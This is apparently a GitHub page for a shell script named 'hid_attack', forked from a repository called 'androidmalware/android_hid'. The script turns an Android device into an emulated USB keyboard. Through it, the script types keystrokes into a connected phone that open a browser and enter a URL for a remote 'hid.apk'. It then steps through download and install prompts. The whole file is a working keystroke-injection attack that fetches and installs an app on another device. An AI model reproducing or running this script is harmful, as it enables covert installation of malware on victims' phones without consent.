forked from androidmalware/android_hid
-
Notifications
You must be signed in to change notification settings - Fork 0
/
hid_attack
80 lines (75 loc) · 2.4 KB
/
hid_attack
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/system/bin/sh
echo down | ./hid-gadget-test /dev/hidg0 keyboard
echo down | ./hid-gadget-test /dev/hidg0 keyboard
echo enter | ./hid-gadget-test /dev/hidg0 keyboard
sleep 0.2
echo left-ctrl n | ./hid-gadget-test /dev/hidg0 keyboard
sleep 0.5
echo left-ctrl l | ./hid-gadget-test /dev/hidg0 keyboard
sleep 0.6
echo g i t h u b | ./hid-gadget-test /dev/hidg0 keyboard
sleep 0.5
echo period | ./hid-gadget-test /dev/hidg0 keyboard
sleep 0.2
echo c o m | ./hid-gadget-test /dev/hidg0 keyboard
sleep 0.2
echo slash | ./hid-gadget-test /dev/hidg0 keyboard
sleep 0.2
echo a n d r o i | ./hid-gadget-test /dev/hidg0 keyboard
sleep 0.2
echo d m a l w | ./hid-gadget-test /dev/hidg0 keyboard
sleep 0.2
echo a r e | ./hid-gadget-test /dev/hidg0 keyboard
sleep 0.2
echo slash | ./hid-gadget-test /dev/hidg0 keyboard
sleep 0.2
echo h i d | ./hid-gadget-test /dev/hidg0 keyboard
sleep 0.2
echo slash | ./hid-gadget-test /dev/hidg0 keyboard
echo r a w | ./hid-gadget-test /dev/hidg0 keyboard
sleep 0.2
echo slash | ./hid-gadget-test /dev/hidg0 keyboard
echo m a i n | ./hid-gadget-test /dev/hidg0 keyboard
sleep 0.2
echo slash | ./hid-gadget-test /dev/hidg0 keyboard
echo h i d | ./hid-gadget-test /dev/hidg0 keyboard
sleep 0.2
echo period | ./hid-gadget-test /dev/hidg0 keyboard
sleep 0.2
echo a p k | ./hid-gadget-test /dev/hidg0 keyboard
sleep 0.2
echo enter | ./hid-gadget-test /dev/hidg0 keyboard
echo tab | ./hid-gadget-test /dev/hidg0 keyboard
sleep 0.5
echo tab right | ./hid-gadget-test /dev/hidg0 keyboard
sleep 0.5
echo down | ./hid-gadget-test /dev/hidg0 keyboard
sleep 0.5
echo enter | ./hid-gadget-test /dev/hidg0 keyboard
sleep 1
echo tab | ./hid-gadget-test /dev/hidg0 keyboard
sleep 1
echo tab right | ./hid-gadget-test /dev/hidg0 keyboard
sleep 1
echo tab right | ./hid-gadget-test /dev/hidg0 keyboard
sleep 1
echo tab right | ./hid-gadget-test /dev/hidg0 keyboard
sleep 1
echo enter | ./hid-gadget-test /dev/hidg0 keyboard
sleep 1
echo right | ./hid-gadget-test /dev/hidg0 keyboard
sleep 1
echo right | ./hid-gadget-test /dev/hidg0 keyboard
sleep 1
echo enter | ./hid-gadget-test /dev/hidg0 keyboard
sleep 1
echo tab | ./hid-gadget-test /dev/hidg0 keyboard
sleep 1
echo right | ./hid-gadget-test /dev/hidg0 keyboard
sleep 1
echo enter | ./hid-gadget-test /dev/hidg0 keyboard
sleep 5.5
echo tab | ./hid-gadget-test /dev/hidg0 keyboard
echo right | ./hid-gadget-test /dev/hidg0 keyboard
sleep 0.5
echo enter | ./hid-gadget-test /dev/hidg0 keyboard